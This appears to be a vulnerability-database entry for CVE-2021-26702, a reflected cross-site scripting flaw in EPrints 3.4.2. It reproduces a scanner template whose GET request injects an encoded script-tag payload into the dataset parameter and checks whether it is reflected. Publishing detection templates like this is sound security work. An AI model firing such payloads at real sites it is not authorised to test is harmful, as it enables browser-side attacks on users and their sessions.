CVE-2021-26702: EPrints 3.4.2 - Cross-Site Scripting

2025-08-01 EPrints PoC Public

Description

EPrints 3.4.2 contains a reflected cross-site scripting vulnerability in the dataset parameter to the cgi/dataset_ dictionary URI.

PoC

id: CVE-2021-26702

info:
  name: EPrints 3.4.2 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: EPrints 3.4.2 contains a reflected cross-site scripting vulnerability in the dataset parameter to the cgi/dataset_ dictionary URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or upgrade to a newer version of EPrints that addresses this vulnerability.
  reference:
    - https://github.com/grymer/CVE/blob/master/eprints_security_review.pdf
    - https://files.eprints.org/2548/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26702
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/grymer/CVE
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-26702
    cwe-id: CWE-79
    epss-score: 0.03072
    epss-percentile: 0.87058
    cpe: cpe:2.3:a:eprints:eprints:3.4.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: eprints
    product: eprints
  tags: cve2021,cve,xss,eprints,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi/dataset_dictionary?dataset=zulu%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402206404826da4d36ceb4d0d62583398d8c119a7e534d0f8505f116ed4959b1298aa022040151c91544b265816fee08953a06695f1e23d611bf33afaf3cc81925b77282f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities